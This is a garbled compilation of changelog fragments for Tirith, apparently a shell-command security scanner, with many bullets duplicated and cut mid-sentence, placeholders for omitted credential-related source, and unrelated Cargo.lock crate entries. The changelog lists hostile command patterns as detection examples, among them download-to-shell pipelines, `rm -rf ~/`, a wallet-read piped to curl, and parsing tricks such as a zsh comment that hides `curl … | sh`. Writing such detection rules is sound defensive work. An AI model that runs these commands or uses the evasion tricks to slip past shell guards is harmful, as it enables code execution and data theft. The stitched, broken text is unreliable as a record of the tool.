- Versioned interpreter names count as their interpreter: `python3.12`, `python3.13t`, `/usr/bin/python3.11`, `pypy3`, `perl5.34`, `php8.2`, `php82`, `ruby3.3`, `nodejs`, `lua5.4`, `bash-5.2` and `ksh93`, as pipe sinks (`curl … | python3.12

- Versioned interpreter names count as their interpreter: `python3.12`, `python3.13t`, `/usr/bin/python3.11`, `pypy3`, `perl5.34`, `php8.2`, `php82`, `ruby3.3`, `nodejs`, `lua5.4`, `bash-5.2` and `ksh93`, as pipe sinks (`curl … | python3.12

- Downloaded output run as shell or deno code is `interpreter_suspicious_inline_exec`: `bash -c "$(curl …)"`, `sh -c "$(wget -qO- …)"`, fish `bash -c (curl …)` and `nice bash -c (curl …)`, `chrt 10 bash -c "$(curl …)"`, `eval "$(curl …)"`, 

- Downloaded output run as shell or deno code is `interpreter_suspicious_inline_exec`: `bash -c "$(curl …)"`, `sh -c "$(wget -qO- …)"`, fish `bash -c (curl …)` and `nice bash -c (curl …)`, `chrt 10 bash -c "$(curl …)"`, `eval "$(curl …)"`, 

- POSIX `>|` is read as the clobbering redirection, not a pipe: `curl … >| sh` writes a file named `sh` and is no longer `curl_pipe_shell`.

- POSIX `>|` is read as the clobbering redirection, not a pipe: `curl … >| sh` writes a file named `sh` and is no longer `curl_pipe_shell`.

- A heredoc fed to a remote shell through ssh (`ssh host sh <<'EOF'`, `ssh host bash -s <<'EOF'`, `ssh host <<'EOF'`) is analyzed best-effort, and one read by an assignment's command substitution (`x=$(sh) <<'EOF'`, which dash and zsh run) 

- npm shell inspection also reads NUL-stripped shell text the `$'…'` way (macOS `/bin/sh` does both), so combining the two tricks no longer hides a download-to-shell. - `interpreter_suspicious_inline_exec` checks every inline program when a

- `interpreter_suspicious_inline_exec` checks every inline program when an interpreter gets several: node and bun run a later one and perl and ruby run them all, so a benign first program no longer hides a later payload. 0.4.2 checked only 

- The daily Threat DB Build keeps publishing when GitHub cannot compare a source pin with its upstream head (HTTP 422, "diff is taking too long to generate"). That source's upstream observation records `ahead_by: null` with `comparison_unav

- Curl destinations with one, two or three scheme slashes retain cloud-metadata, raw-IP, transport and network-deny checks. Plain LAN requests remain warnings; nested URI-looking path text does not become another destination.

- On the zsh receipt path, an honored `TIRITH=0` bypass still got the runtime package-lookup findings, so with `strict_warn` it asked for an acknowledgement, and on macOS was then blocked by #283. An honored bypass now skips those lookups o

- The zsh prompt's command preview no longer starts with `--` (`command> --pip\ install\ requests`). - Uploading a project secret file is `data_exfiltration` (High): `.env` and `.env.<name>` (not templates such as `.env.example`), `.envrc`,

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

- Remove sudo dependencies and suggestions from native packages. Ordinary protection stays unprivileged; manual privileged-helper installation is off by default, and unsupported or missing approval prerequisites have explicit guidance (#249

- `tirith output wrap` writes to the shell profile the shell actually reads, using the same resolution as `tirith setup`: `$ZDOTDIR/.zshrc`, `$XDG_CONFIG_HOME` for Fish, Nushell and PowerShell, and Nushell's macOS location. Bash keeps its p

- Recognize literal bracket conditions, shell arithmetic over fixed numeric output (`$(date +%s)`, `$(printf N)`), and simple Python data pipelines without hiding executable substitutions or unresolved variable commands (#260, #264). Arithm

- Piping into `python3 -m json.tool` passes when json.tool gets only its own options (`--sort-keys`, `--indent N`, `--compact`, `--tab`, `--no-indent`, `--no-ensure-ascii`, `--json-lines`), and so does a `python3 -c` program that only trans

- Piping into `python3 -m json.tool` passes when json.tool gets only its own options (`--sort-keys`, `--indent N`, `--compact`, `--tab`, `--no-indent`, `--no-ensure-ascii`, `--json-lines`), and so does a `python3 -c` program that only trans

- In fish, the `python3 -c` data-pipeline exemption applies again, as in 0.4.2, with a fish-correct inspect-mode check: `set -x`/`-gx`/`-Ux`/`--export PYTHONINSPECT`, a `set` with a non-literal option or name, `read -x`, `export`, `env` and

- In fish, the `python3 -c` data-pipeline exemption applies again, as in 0.4.2, with a fish-correct inspect-mode check: `set -x`/`-gx`/`-Ux`/`--export PYTHONINSPECT`, a `set` with a non-literal option or name, `read -x`, `export`, `env` and

- `xargs -I{}`, `-I {}`, `-i` and `--replace` are analyzed as the command they run with the item substituted (`git branch --merged | xargs -I{} git branch -d {}`, `xargs -I{} cp {} backup/`). An item that lands in code stays incomplete anal

- A `{ …; }` group followed only by redirections or a pipe is analyzed like a subshell (`{ cargo build; cargo test; } 2>&1 | tee build.log`), and `typeset -A map; map[a]=1` and digit-subscript element assignments (`arr[0]=x`) are accepted. 

- POSIX function bodies, subshells and `{ …; }` groups that contain a `${…}` expansion (`f() { echo "${v}"; }`, `install() { tar -xzf "tool-${version}.tar.gz"; }`, `gco() { git checkout "${1:-main}"; }`, `( cd "${dir}" && make )`) no longer

- A payload inside a POSIX function definition reports its precise rule even when the command never calls the function, or only names it in a way the analysis does not follow (`trap f EXIT`, `export -f f; bash -c f`, `echo f`, `PROMPT_COMMA

- A payload inside a POSIX function definition reports its precise rule even when the command never calls the function, or only names it in a way the analysis does not follow (`trap f EXIT`, `export -f f; bash -c f`, `echo f`, `PROMPT_COMMA

- `eval` or `source` of a reviewed shell setup command run with literal words no longer blocks: `eval "$(brew shellenv)"` (also `/opt/homebrew/bin/brew`), `eval "$(direnv hook bash)"`, `eval "$(pyenv init -)"`, `eval "$(rbenv init -)"`, `ev

- `eval` or `source` of a reviewed shell setup command run with literal words no longer blocks: `eval "$(brew shellenv)"` (also `/opt/homebrew/bin/brew`), `eval "$(direnv hook bash)"`, `eval "$(pyenv init -)"`, `eval "$(rbenv init -)"`, `ev

- In fish, the command run by `nice`, `timeout`, `setsid`, `stdbuf`, `taskset`, `ionice` or `flock` is analyzed (`nice perl -e 'system(…)'`, `timeout 30 sh -c 'curl … | sh'`, chained or quoted wrappers, inside `begin`/`if`/`and`/`or`/`not`)

- In fish, the command run by `nice`, `timeout`, `setsid`, `stdbuf`, `taskset`, `ionice` or `flock` is analyzed (`nice perl -e 'system(…)'`, `timeout 30 sh -c 'curl … | sh'`, chained or quoted wrappers, inside `begin`/`if`/`and`/`or`/`not`)

- Both crates ship `LICENSE-AGPL` and `NOTICE` (with the third-party data attributions); `cargo package` included only `README.md`. - A command named through a variable assigned a literal earlier in the same POSIX-shell command (`BIN=/bin/e

- A command named through a variable assigned a literal earlier in the same POSIX-shell command (`BIN=/bin/echo; "$BIN" --help`) is analyzed as that literal command, with every finding the literal form gets, instead of being blocked as inco

- Distinguish curl URL operands from option values and retain the original numeric host spelling in diagnostics, without treating a second URL as a port. A host such as `0x7f.0x` is evaluated both as curl's DNS name and as the libc numeric 

- Ignore phantom policy and repository-marker directories reported by Unix virtual filesystems only when bounded directory enumeration proves the names absent. Genuine policy errors and filesystem name aliases retain conservative handling (

- A heredoc delimiter is read with the shell's quote removal: inside double quotes a backslash is removed only before `$`, `` ` ``, `"` and `\`, so `<<"E\OF"` ends at the line `E\OF`. It was read as `EOF`, which hid the commands after the r

- The exec gate reads shell scopes the way the shells do, so these no longer hide the commands after them (such as a `curl … | sh` pipeline) from analysis:

- The exec gate reads shell scopes the way the shells do, so these no longer hide the commands after them (such as a `curl … | sh` pipeline) from analysis:

- A `$'...'` string holding an escaped quote (`$'a\''`) is one string in bash, zsh and ksh, while dash reads a plain quoted string and then an open quote, so the command is reported as incomplete analysis (as is a `\\` right before the clos

- A heredoc opened inside a double-quoted `$(...)` (`git commit -m "$(cat <<'EOF'` … `)"`) is read as a heredoc, so a quote in its body no longer hides the command after the closing `)"`, and a commit message holding an apostrophe is no lon

- A redirection joined to the command word, standing before it, or between a wrapper and its command is not the command word: the shell takes it out of argv. Fish words get the same treatment with fish quoting, so `curl … | sh>/dev/null` in

- A redirection joined to the command word, standing before it, or between a wrapper and its command is not the command word: the shell takes it out of argv. Fish words get the same treatment with fish quoting, so `curl … | sh>/dev/null` in

- A `<<` inside arithmetic (`(( x = 1<<EOF ))`, also after `for`, `&&`, in a function, a `case` arm or a `$(...)`, and a `$((` or `((` left open at the end of a line) or inside a `${...}` that spans lines is a shift or text, not a heredoc o

- `tirith pkg inspect` also runs its line-by-line download-to-shell pass where the shells read an install script differently outside single quotes, comments and heredoc data, and reads a script holding a `$'...'` string with an escaped quot

- `curl` expands `[...]` ranges and `{...}` sets in a URL unless `-g`/`--globoff` is given. The metadata-endpoint, private-network, network deny/allow and URL checks now see every host the host part of a curl URL operand expands to (`http:/

- The metadata-endpoint and private-network checks read through `sudo`, `env`, `nohup` and `command` as the URL checks do: `sudo curl https://10.0.0.1/` was only a raw-IP warning, and a curl URL glob run that way was not expanded.

- The metadata-endpoint and private-network checks read through `sudo`, `env`, `nohup` and `command` as the URL checks do: `sudo curl https://10.0.0.1/` was only a raw-IP warning, and a curl URL glob run that way was not expanded.

- Preserve the exact release libc/ABI during update selection. Linux installation and npm launch refuse incompatible or unidentified runtimes before selecting a GNU executable. - A shell's `-c` script or another wrapper word spelled with PO

- A shell's `-c` script or another wrapper word spelled with POSIX backslash escapes (`bash -c "git commit -m \"fix bug\""`, `bash -c git\ status`) is read as the text the shell passes on and analyzed, instead of blocking as incomplete anal

- A shell's `-c` script or another wrapper word spelled with POSIX backslash escapes (`bash -c "git commit -m \"fix bug\""`, `bash -c git\ status`) is read as the text the shell passes on and analyzed, instead of blocking as incomplete anal

- A scheme URL glued to a package spec or a config key is checked like the bare URL: `npm install pkg@http://…`, and the same form with `yarn add`, `pnpm add`, `pnpm dlx`, `bun add`, `npx`, `pip install` and `uv pip install` (`http`, `https

- `env` takes any `NAME=VALUE` operand as an assignment, as GNU and BSD `env` do, so `env x@y=1 rm -rf ~/` is analyzed as `rm` and `env 'npm_config_@scope:registry=…' npm install` gets the findings of `env npm_config_registry=…`. `time ! cm

- `env` takes any `NAME=VALUE` operand as an assignment, as GNU and BSD `env` do, so `env x@y=1 rm -rf ~/` is analyzed as `rm` and `env 'npm_config_@scope:registry=…' npm install` gets the findings of `env npm_config_registry=…`. `time ! cm

- Interactive bash and zsh history expansion is modeled, since it rewrites a line after Tirith checks it. It applies only to interactive POSIX input: the bash and zsh hooks and paste widgets, which pass `--interactive`. Agent adapters pass 

- Interactive bash and zsh history expansion is modeled, since it rewrites a line after Tirith checks it. It applies only to interactive POSIX input: the bash and zsh hooks and paste widgets, which pass `--interactive`. Agent adapters pass 

- An interactive zsh with `interactivecomments` unset (zsh's default) does not treat a word-start `#` as a comment, so `echo hi #; curl … | sh` runs `curl … | sh`. Tirith read the rest of the line as a comment and allowed it, in every relea

- An interactive zsh with `interactivecomments` unset (zsh's default) does not treat a word-start `#` as a comment, so `echo hi #; curl … | sh` runs `curl … | sh`. Tirith read the rest of the line as a comment and allowed it, in every relea

- Still blocked, as in 0.4.2: a here-string fed to a program that may run it (`python3`, `awk`, `sed`, `kubectl apply -f -`); `xargs -I{}` whose item becomes code or a destructive command's target (see Fixed), and `xargs -I{}` in fish; arit

- Still blocked, as in 0.4.2: a here-string fed to a program that may run it (`python3`, `awk`, `sed`, `kubectl apply -f -`); `xargs -I{}` whose item becomes code or a destructive command's target (see Fixed), and `xargs -I{}` in fish; arit

- In fish, `alias ll 'ls -lah'`, `command -sq rg; and rg foo` and `eval (ssh-agent -c)` block as incomplete analysis, as in 0.4.2 (`ssh-agent -c` is not a reviewed setup command; `eval (ssh-agent -s)` passes).

- In fish, `alias ll 'ls -lah'`, `command -sq rg; and rg foo` and `eval (ssh-agent -c)` block as incomplete analysis, as in 0.4.2 (`ssh-agent -c` is not a reviewed setup command; `eval (ssh-agent -s)` passes). - Not followed, as in 0.4.2: a

[Credential-related source omitted]

[Credential-related source omitted]

- A heredoc fed to ssh is analyzed best-effort: when Tirith cannot read the remote command (`ssh host "$CMD" <<EOF`) the heredoc stays data. A download staged by one command and run by a later one (`curl -o f URL; python3 -c "$(cat f)"`) is

[Credential-related source omitted]

[Credential-related source omitted]

- **Prime Agent IPython coverage is lexical, not a Python runtime boundary.** Earlier-cell wrappers, reflection such as `getattr`/`__import__`, and third-party packages that spawn processes cannot be proven by source extraction. Dynamic/unr

- **A full disk locks a zsh or fish shell out of every command.** The zsh widgets and the fish hook both create a scratch capture file through `mktemp` before the tirith binary runs and fail closed when that fails, so a full or read-only `T

- **Nested-shell exfiltration gap.** A sensitive read inside a nested shell body whose sink is outside it (`bash -c "cat <wallet>" | curl -d @- <url>`) is not correlated. The same chain wholly inside, or wholly outside, the `-c` body is det

- **`OutputDataExfiltration`** (High, MITRE T1041): a new `exfil` rule for markdown / URL beacons carrying a secret-shaped token or canary, secret-shaped URL query values, and "read a sensitive path then send / post / upload" directives (in

[Credential-related source omitted]

[Credential-related source omitted]

- **`tirith ecosystem scan` — project dependency-manifest supply-chain scan** — the directory-level companion to `tirith package risk`: `tirith ecosystem scan [path]` walks a project, discovers and parses dependency manifests (npm `package.

- **`tirith install` — safe-install transaction** — `tirith install <npm|pip|cargo|url> <args…>` wraps a real package install with pre-execution supply-chain risk analysis: it scores the package(s) with the `package_risk` engine and the ins

- **CI / repo supply-chain scanning — `tirith scan` covers your CI and infrastructure files** — `tirith scan` now inspects the files a repository checks in to describe its own build and deploy pipeline, not just AI-config files. It detects 

- **CI / repo supply-chain scanning — `tirith scan` covers your CI and infrastructure files** — `tirith scan` now inspects the files a repository checks in to describe its own build and deploy pipeline, not just AI-config files. It detects 

- `sudo -iu root bash` combined short flags now correctly resolve to `bash`.

name = "adler2" version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "aead" version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "aes" version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "aes-gcm" version = "0.10.3" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ahash" version = "0.8.12" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "aho-corasick" version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "allocator-api2" version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "android_system_properties" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anes" version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anstream" version = "0.6.21" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.6.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "43d5b281e737544384e969a5ccad3f1cdd24b48086a0fc1b2a5262a26b8f4f4a"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anstyle" version = "1.0.13" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.0.13" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5192cca8006f1fd4f7237516f40fa183bb07f8fbdfedaa0036de5ea9b0b45e78"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anstyle-parse" version = "0.2.7" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anstyle-query" version = "1.1.5" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anstyle-wincon" version = "3.0.11" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "3.0.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "anyhow" version = "1.0.103" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.0.103" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2a4385e2e34eb35d6b3efe798b9eb88096925d87726c0798709bf56d9ed84af3"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "arbitrary" version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3d036a3c4ab069c7b410a2ce876bd74808d2d0888a82667669f8e783a898bf1"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "arboard" version = "3.6.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "3.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0348a1c054491f4bfe6ab86a7b6ab1e44e45d899005de92f58b3df180b36ddaf"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "assert-json-diff" version = "2.0.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "2.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "async-trait" version = "0.1.89" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.89" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "atomic-waker" version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "auto_impl" version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffdcb70bdbc4d478427380519163274ac86e52916e10f0a8889adf0f96d3fee7"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "autocfg" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "axum" version = "0.8.8" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b52af3cb4058c895d37317bb27508dccc8e5f2d39454016b297bf4a400597b8"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "axum-core" version = "0.5.6" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.5.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08c78f31d7b1291f7ee735c1c6780ccde7785daae9a9206026862dab7d8792d1"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "base64" version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.22.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "base64ct" version = "1.7.3" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "89e25b6adfb930f02d1981565a6e5d9c547ac15a96606256d3b59040e5cd4ca3"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bit-set" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bit-vec" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bitflags" version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bitflags" version = "2.10.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "2.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "block-buffer" version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "borrow-or-share" version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc0b364ead1874514c8c2855ab558056ebfeb775653e7ae45ff72f28f8f3166c"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bumpalo" version = "3.19.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "3.19.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5dd9dc738b7a8311c7ade152424974d8115f2cdad61e8dab8dac9f2362298510"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bytecount" version = "0.6.9" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.6.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "175812e0be2bccb6abe50bb8d566126198344f707e304f45c648fd8f2cc0365e"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "bytes" version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cast" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cc" version = "1.2.55" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.2.55" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47b26a0954ae34af09b50f0de26458fa95369a0d478d8236d3f93082b219bd29"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cfg-if" version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cfg_aliases" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cfg_aliases" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "chrono" version = "0.4.43" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.4.43" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fac4744fb15ae8337dc853fee7fb3f4e48c0fbaa23d0afe49c447b4fab126118"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ciborium" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ciborium-io" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ciborium-ll" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cipher" version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clap" version = "4.5.57" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "4.5.57" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6899ea499e3fb9305a65d5ebf6e3d2248c5fab291f300ad0a704fbe142eae31a"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clap_builder" version = "4.5.57" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "4.5.57" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7b12c8b680195a62a8364d16b8447b01b6c2c8f9aaf68bee653be34d4245e238"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clap_complete" version = "4.5.65" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "4.5.65" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "430b4dc2b5e3861848de79627b2bedc9f3342c7da5173a14eaa5d0f8dc18ae5d"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clap_derive" version = "4.5.55" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "4.5.55" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a92793da1a46a5f2a02a6f4c46c6496b28c43638adea8306fcb0caa1634f24e5"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clap_lex" version = "0.7.7" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3e64b0cc0439b12df2fa678eae89a1c56a529fd067a9115f7827f1fffd22b32"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clap_mangen" version = "0.2.31" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.31" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "439ea63a92086df93893164221ad4f24142086d535b3a0957b9b9bea2dc86301"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "clipboard-win" version = "5.4.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "5.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bde03770d3df201d4fb868f2c9c59e66a3e4e2bd06692a0fe701e7103c7e84d4"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "colorchoice" version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "colored" version = "3.1.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "3.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "faf9468729b8cbcea668e36183cb69d317348c2e08e994829fb56ebfdfbaac34"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "const-oid" version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index"

